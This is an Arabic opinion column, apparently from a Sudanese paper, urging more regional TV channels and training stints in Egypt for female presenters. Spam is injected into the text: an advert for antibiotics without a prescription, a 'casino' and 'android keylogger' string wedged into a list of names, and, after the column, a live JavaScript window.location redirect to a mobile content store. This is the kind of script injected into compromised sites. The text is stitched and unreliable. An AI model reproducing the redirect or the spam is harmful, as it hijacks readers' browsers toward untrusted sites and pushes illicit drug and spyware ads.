زاد عدد الفضائيات التلفزيونية عندنا.. واصبح كبيرا بمسميات متعددة وان كان البعض يراه فوق حاجتنا .. فانني واحد من الذين يطالبون بالمزيد من الفضائيات التلفزيونية في بلادنا الشاسعة والواسعة واذا كانت فضائية بورتسودان قد حققت النجاح.. فلماذا لاتكون لنا فضائية في الشمالية واخري في نهر النيل وكردفان ودارفور فالذي نعرفه جيدا هو ان لكل جهة من الجهات في السودان لهجتها وتقاليدها وتراثها وكل ما يمكن ان تنقله عنها بل حتي الانشطة الرياضية يمكن ان يتم نقلها وكذلك الاخبار خاصة بعد ان اصبحت الاحداث متلاحقة. buy sumycin without a prescription | antibiotics online – memotrax.com
{ ونجاح الفضائيات التلفزيونية يتوقف بدون شك علي العاملين بها في كل المجالات هذا هو ما عرفناه وألفناه والعاملون في الفضائيات خاصة في مجال تقديم البرامج .. ياتون من منازلهم مباشرة ليلتقوا بالمشاهدين واشك ان يكون عددا كبيرا منهم قد خضع لتدريب وتاهيل.. ولاننا نبحث دائما عن الافضل فاننا نشن الهجوم علي المذيعات بالذات ونسوق لهن الاتهام دائما بانهن غير مثقفات لان المعلوم لدينا انهن في الغالب متعلمات وخريجات جامعات.. والتي تتوفر لها الموهبة من بينهن تتقدم علي الاخريات ويصبح لها اسم معروف مثل سلمي سيد ونسرين casino free text tracker for android keylogger – talbot group سوركتي ونسرين النمر علي سبيل المثال.. وبكل اسف لم يحاول واحد منا ان يسال نفسه يوما عن الجهة المسئولة عن تدريب المذيعات وتاهيلهن.. وفي خارج السودان يولون هذا الامر اهتماما كبيرا بل انهم في الفضائيات الخارجية لهم راي في مظهر المذيعة .. وفي سنها كذلك.. ولا مجال عندهم لمن تتقدم بها السن وعندنا هنا في السودان خاصة في الفضائية القومية مذيعات فوق سن المعاش.. علما ان عمل المذيعة ليس وسيلة لاكل العيش.. ولكنه عمل تقوم به من اجل اسعاد الاخرين والمذيعة الجميلة والانيقة بدون شك تتفوق علي الاخريات.
{ولانه تربطني علاقة طيبة بالرائعة اسماء الحسين نائب رئيس تحرير صحيفة (الاهرام) المصرية فقد جلست معها اكثر من مرة وتحدثنا عن الكيفية التي يمكن بها ان نعمل علي تطوير مستويات المذيعات في الفضائيات ووضح لي ان هذا الامر ليس صعبا بل يحتاج فقط لتحرك من المسئولين عن الاعلام في بلادنا.. ولقد كانت لي شخصيا تجربة في هذا الصدد ايام ان توليت سكرتارية رابطة الاعلاميين الرياضيين فقد سافرت الي مصر والتقيت هناك بالزملاء المستكاوي وعبد المجيد النعمان وحمدي النحاس.. يرحمهم الله وعرضت عليهم ان يستقبلوا عشرين من شبابنا العاملين في الصحافة الرياضية ويفسحوا لهم المجال ليعملوا معهم في صحف (الاهرام) و(الاخبار) و(الجمهورية) فرحبوا بذلك ترحيبا حارا واخذوني لمقابلة وزير الشباب والرياضة المصري وقتذاك الدكتور عبد الاحد جمال الدين وتحدثوا اليه امامي فاعطي موافقته علي التكفل بكل النفقات بل بادر وحجز لنا غرفا في فندق(آمون) بالزمالك ليقيم بها شبابنا لمدة ستة اشهر هي فترة العمل التي حددناها لهم باجر وليس بالمجان وقد عدت يومذاك من مصر وقمنا باختيار الاسماء لكن قبل ان تكتمل اجراءات السفر حدث بيننا علي مستوي قيادة الرابطة خلاف حاد جعلني اعلن الابتعاد الي يومنا هذا وضاعت علي شبابنا فرصة العمر.. ولم يسال احد عن ما خططنا له وحاولنا تنفيذه فلماذا لانقوم بعمل نفس الشئ للمذيعات في الفضائيات فنجعلهن علي سبيل المثال اسراء عادل درويش واسراء سليمان وسهام عمر وهايلين هاشم.. ونجود حبيب وعفراء فتح الرحمن وشيماء سر الختم وسماح علي الريح ومودة حسن وشهد المهندس ومودة حسن وندي بخيت ونعمة عثمان ورشا الرشيد وسهيلة علي يسافرن الي مصر ليعملن في الفضائيات لمدة ستة اشهر ثم تكون بعدها العودة الي السودان.
window.location = “http://www.mobilecontentstore.mobi/?sl=319481-c261c&data1=Track1&data2=Track2”;
التعليقات مغلقة.